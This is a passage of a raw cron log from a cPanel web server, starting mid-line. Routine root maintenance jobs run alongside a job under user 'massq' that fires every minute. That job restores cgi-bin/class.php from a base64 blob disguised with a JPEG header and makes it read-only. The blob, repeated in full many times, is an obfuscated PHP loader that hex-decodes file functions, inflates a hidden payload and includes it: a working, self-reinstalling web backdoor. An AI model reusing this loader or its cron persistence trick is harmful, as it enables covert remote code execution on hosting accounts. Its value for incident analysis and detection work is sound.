QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:31:01 server CROND[4687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:32:01 server CROND[5067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:32:01 server CROND[5068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:32:01 server CROND[5069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:33:01 server CROND[5532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:33:01 server CROND[5533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:33:01 server CROND[5534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:34:01 server CROND[5916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:34:01 server CROND[5917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:34:01 server CROND[5925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:35:01 server CROND[6297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:35:01 server CROND[6300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:35:01 server CROND[6301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:35:01 server CROND[6302]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 08:35:01 server CROND[6303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:35:01 server CROND[6305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:35:01 server CROND[6307]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:35:01 server CROND[6309]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:35:01 server CROND[6299]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:36:01 server CROND[7144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:36:01 server CROND[7145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:36:01 server CROND[7146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:37:01 server CROND[7507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:37:01 server CROND[7508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:37:01 server CROND[7510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:38:02 server CROND[7985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:38:02 server CROND[7986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:38:02 server CROND[7987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:39:01 server CROND[8498]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 08:39:01 server CROND[8499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:39:01 server CROND[8500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:39:01 server CROND[8502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:40:01 server CROND[8921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:40:01 server CROND[8922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:40:01 server CROND[8925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:40:01 server CROND[8927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:40:01 server CROND[8931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:40:01 server CROND[8928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:40:01 server CROND[8929]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:40:01 server CROND[8932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:41:01 server CROND[9766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:41:01 server CROND[9767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:41:01 server CROND[9768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:42:01 server CROND[10195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:42:01 server CROND[10196]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:42:01 server CROND[10194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:42:01 server CROND[10197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:43:01 server CROND[10593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:43:01 server CROND[10592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:43:01 server CROND[10594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
